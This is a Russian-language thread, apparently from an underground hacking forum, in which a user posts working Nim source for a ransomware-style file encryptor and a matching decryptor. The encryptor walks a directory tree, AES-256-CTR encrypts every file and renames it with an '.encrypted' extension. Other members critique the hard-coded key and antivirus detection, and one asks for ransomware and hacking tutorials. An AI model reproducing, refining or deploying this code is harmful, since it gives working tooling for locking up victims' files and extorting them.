• XSS.stack #1 – первый литературный журнал от юзеров форума

NIM Language | Ransomware (Source code)

Never Lose

ripper
КИДАЛА
Регистрация
28.12.2021
Сообщения
17
Реакции
-3
Пожалуйста, обратите внимание, что пользователь заблокирован
У вас должно быть более 2 сообщений для просмотра скрытого контента.
Код:
import os
import strformat
import base64
import nimcrypto

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

let
    password: string = ""
    path: string = ""

for file in walkDirRec path:
   let fileSplit = splitFile(file)
   if fileSplit.ext != ".encrypted":
    echo fmt"[*] Encrypting: {file}"
    var
        inFileContents: string = readFile(file)
        plaintext: seq[byte] = toByteSeq(inFileContents)
        ectx: CTR[aes256]
        key: array[aes256.sizeKey, byte]
        iv: array[aes256.sizeBlock, byte]
        encrypted: seq[byte] = newSeq[byte](len(plaintext))
    iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
    var expandedKey = sha256.digest(password)
    copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
   
    echo len(inFileContents)
   
    ectx.init(key, iv)
    ectx.encrypt(plaintext, encrypted)
    ectx.clear()

    let encodedCrypted = encode(encrypted)
    let finalFile = file & ".encrypted"
    moveFile(file, finalFile)
    writeFile(finalFile, encodedCrypted)

Код:
import os
import strformat
import base64
import nimcrypto

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

let
    password: string = ""
    path: string = ""
var length :int = 2701363
for file in walkDirRec path:
   let fileSplit = splitFile(file)
   if fileSplit.ext == ".encrypted":
    echo fmt"[*] Decrypting: {file}"
    var
        inFileContents: string = readFile(file)
        #encrypted data in this case
        dctx: CTR[aes256]
        key: array[aes256.sizeKey, byte]
        iv: array[aes256.sizeBlock, byte]
        encrypted =  newString(length)
    iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
    var expandedKey = sha256.digest(password)
    copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

    dctx.init(key, iv)
    dctx.decrypt(decode(inFileContents), encrypted)
    dctx.clear()  

    let encodedCrypted = encrypted
    let finalFile = file
    moveFile(file, finalFile)
    writeFile(finalFile, encodedCrypted)
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Да ну на ним писать рансом, огромное кол-во АВ даже валид под зверька подтягивают.
По крайней мере лучше чем всякие ШКОЛОЛО-Python локеры и прочее
 
Пожалуйста, обратите внимание, что пользователь заблокирован
По крайней мере лучше чем всякие ШКОЛОЛО-Python локеры и прочее
Чем лучше? Ключом шифрования зашитым в бинарнике? Чтением файла, как строки?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Чем лучше? Ключом шифрования зашитым в бинарнике? Чтением файла, как строки?
«Ну это же ним, а не питон, значит уже лучше»
По всей видимости, тс думает именно так :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Чем лучше? Ключом шифрования зашитым в бинарнике? Чтением файла, как строки?
Ну, с этим не поспоришь, но и всё таки
Я лишь показал пример реализации и не более
Если на форуме будет такая критика на всё, чем делятся люди, то никто сюда выкладывать ничего не будет
 
Ну, с этим не поспоришь, но и всё таки
Я лишь показал пример реализации и не более
Если на форуме будет такая критика на всё, чем делятся люди, то никто сюда выкладывать ничего не будет
Совершенно верно.

Ни в коем случае не защищаю сорец, но категорически ругаюсь на такое поведение - критику без своего предложенного варианта. Вот если такое будет, это райское обсуждение. Тематический экстаз. А просто покритиковать может каждый =)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я лишь показал пример реализации и не более
Я лишь спросил, чем это должно быть лучше, и не более. Если на форуме будут так критиковать критику, то и учиться будет не на чем.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я лишь спросил, чем это должно быть лучше, и не более.
Размером исполняемого файла, если это можно расценивать как плюс
Хоть синтаксис и похож на Python, но он явно не конкурент в этом вопросе
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я лишь спросил, чем это должно быть лучше, и не более. Если на форуме будут так критиковать критику, то и учиться будет не на чем.
Можете предложить свой вариант, если у вас опыта больше
Я буду только рад, может чему-нибудь научусь
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я лишь показал пример реализации и не более
В качестве примера неплохо, но в бою не будет работать должным образом.
Если на форуме будет такая критика на всё, чем делятся люди, то никто сюда выкладывать ничего не будет
С этим согласен, если только критиковать, то люди даже бояться будут что-либо выкладывать. Не поймите меня неправильно, я лишь хотел сказать, что аверы убили Nim как ЯП принципе, без какого-либо негатива писал :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я тоже хочу начать это, но я не знаю, как кодировать. брат есть ли какой-нибудь курс для меня. любые руководства по программам-вымогателям или руководства по взлому
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх